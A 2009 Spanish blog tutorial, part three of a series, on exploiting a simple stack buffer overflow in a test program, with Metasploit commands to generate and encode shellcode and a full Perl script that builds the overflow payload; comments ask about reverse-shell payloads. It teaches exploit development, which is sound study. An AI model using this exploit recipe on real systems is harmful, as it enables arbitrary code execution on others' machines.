martes, 1 de diciembre de 2009

Exploting (II): Stack Overflow Simple (y III)

La semana pasada nos quedabamos a punto de conseguir explotar una vulnerabilidad en nuestro código de ejemplo y ejecutar código. Por el momento habiamos conseguido averiguar como sobreescribir la dirección de retorno en la pila y con que dirección la tenemos que cambiar para que acabe ejecutandose nuestro shellcode, por el momento un montón de NOPs seguidos de un INT 3, y funcionaba! La lógica nos dice que ahora solo tenemos que generar un shellcode y substituirlo por el shellcode de prueba que hemos usado, ¿verdad?

¿Cómo construimos un shellcode? De nuevo metasploit nos soluciona la papeleta con su comando msfpayload. Este comando nos permite generar cualquiera de los payloads presentes en Metasploit en formato exe, perl, python y un largo etc. En nuestro caso, vamos a generar un payload del tipo "windows/exec" para ejecutar un "calc.exe" (típico caso de ejemplo):

# cd /pentest/exploits/framework3
# ./msfpayload windows/exec CMD=calc.exe Perl

# windows/exec - 121 bytes

# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
my $buf = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
[...]


Ya empezamos otra vez con los problemas... resulta que el shellcode contiene caracteres nulos, osea que si lo intentamos añadir tal cual no se copiará entero y no funcionará. Además de caracteres nulos, el shellcode, debido a su tamaño, podría contener otro tipo de caracteres "malos", así que lo mejor es hacerle un encoding de tal forma que controlemos el tipo de caracteres.

Para ello vamos a usar otra de los comandos que vienen con Metasploit, el msfencode, al que le podemos definir una serie de caracteres que queremos evitar o directamente darle una codificación para que no se salga de ahí. En nuestro caso, dado que lo que estamos explotando es una cadena, elegimos el encoding x86/alpha_mixed, es decir, letras mayúsculas o minúsculas, que es un tipo de caracteres que seguro que no nos da problemas. Para ello hay que cambiar el tipo de dato de salida de msfpayload a "Raw" (plano) y pasarle su salida a la entrada estandar de msfencode, al cual ya le diremos que nos de la salida en Perl:

# ./msfpayload windows/exec CMD=calc Raw | ./msfencode -e x86/alpha_mixed -t perl
[*] x86/alpha_mixed succeeded, final size 297


Bueno, ahora ya tememos nuestro nuevo shellcode, bastante más grande que el anterior (297 bytes contra 121 bytes) pero eso es algo normal cuando se hace encoding. Nuestro nuevo shellcode es un código binario equivalente al anterior pero en que todos los bytes se corresponden con el código ASCII de un caracter, lo cual nos va a permitir utilizarlo sin temor a que se corte al ser copiado y no nos funcione. Vamos a inyectarlo entonces en nuestro perl para generar el exploit:

#!/usr/bin/perl
# EXPLOIT DE PRUEBAS - jselvi

# Auxiliares, para entendernos mejor...
my $nop = "\x90";
my $breakpoint = "\xcc";

# PARTES DEL EXPLOIT
my $relleno = $nop x 60;
my $eip = pack("V", 0x77C21025);
my $muelle = $nop x 50;

# SHELLCODE DE METASPLOIT (calc.exe)
my $shellcode =
"\x89\xe1\xdd\xc3\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x45\x50\x45\x50\x45" .
"\x50\x4c\x4b\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44" .
"\x38\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51" .
"\x4f\x51\x30\x45\x51\x4a\x4b\x47\x39\x4c\x4b\x47\x44\x4c" .
"\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c\x4b" .
"\x34\x49\x50\x43\x44\x45\x57\x49\x51\x48\x4a\x44\x4d\x43" .
"\x31\x48\x42\x4a\x4b\x4a\x54\x47\x4b\x51\x44\x46\x44\x43" .
"\x34\x42\x55\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45\x51\x4a" .
"\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45" .
"\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51\x4a" .
"\x4b\x4d\x59\x51\x4c\x51\x34\x45\x54\x49\x53\x51\x4f\x50" .
"\x31\x4a\x56\x43\x50\x46\x36\x43\x54\x4c\x4b\x47\x36\x50" .
"\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e" .
"\x4d\x4c\x4b\x42\x48\x44\x48\x4b\x39\x4c\x38\x4d\x53\x49" .
"\x50\x43\x5a\x46\x30\x42\x48\x4c\x30\x4d\x5a\x43\x34\x51" .
"\x4f\x42\x48\x4d\x48\x4b\x4e\x4d\x5a\x44\x4e\x50\x57\x4b" .
"\x4f\x4b\x57\x43\x53\x45\x31\x42\x4c\x42\x43\x45\x50\x45" .
"\x5a\x41\x41";

# CONSTRUIMOS EXPLOIT
my $exploit = $relleno.$eip.$muelle.$shellcode;

# LANZAMOS EXPLOIT
my $file = "exploit.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );

print "Fichero exploit.txt creado\n";


Ahora lo ejecutamos para generar nuestro exploit.txt, nos vamos a nuestra máquina con nuestro código de prueba vulnerable y lo lanzamos de la siguiente manera (ya no hace falta OllyDbg):

> type exploit.txt | bof.exe



BINGO! YA LO TENEMOS! :)

Cambiando el shellcode utilizado por otro más... "maléfico" podemos hacer todo tipo de acciones en la máquina. Incluso podemos darle potencia a nuestro exploit y codificarlo en un módulo de metasploit para poder irle cambiando el payload a nuestro antojo sin tener que repetir cada vez estos pasos. Pero eso para más adelante.

5 comentarios :

Nahucito dijo...

Hola!, tan interesante el post como los anteriores, pero me quedan algunas dudas: 1)no consigo sacar las shellcode en formato para Python y la segunda y poray mas tonta es: Si elijo cualquiera de los tipos de salida (C, Perl) puedo usar esa misma salida en un script en python (con sus correspondientes modificaciones para que el lenguaje la interprete como strings).
Saludos, y gracias por tu tiempo nuevamente!

Jose Selvi dijo...

Hola @Nahucito, he metido la pata al escribir, es Ruby el lenguaje en el que podemos elegir que nos lo saque directamente, no Python (una pena, con lo que me está gustando el Python :P). Si pones "Python" como salida seguramente te reconocerá la "P" del principio y te lo sacará en Perl.

Con ./msfencode -h puedes ver todos los posibles formatos de salida.

En cuanto a la otra pregunta que comentas, claro, puedes sacar el código en otro lenguaje y luego traducirlo tú a mano al lenguaje que quieras. Lo importante es que los hexadecimales sigan siendo los mismos.

Gracias por el comentario. Un saludo.

Tutuzpi dijo...

He dado seguimiento a la info, muchas felicidades por el gran esfuerzo. Me gustarìa preguntarte como hago para dividir un payload, es decir mi espacio es reducido y al momento de codificar para eliminar los bad characters me incrementa considerablemente el payload en este caso una reverse shell.
He tratado de dividirlo pero serìa de lujo un tuto de como debug y exploit en estos casos.

Rafael Alfaro March dijo...

El script metasm_shell.rb de Metasploit también permite ver los op codes de las instrucciones. Creo que resulta bastante cómodo.

¡Un saludo!

Jose Selvi dijo...

No conocía este script @Rafa, pero pienso probarlo ;)

Muchas gracias por el aporte, Metasploit es algo que da la sensación que uno no acaba de dominar nunca :P

Saludos!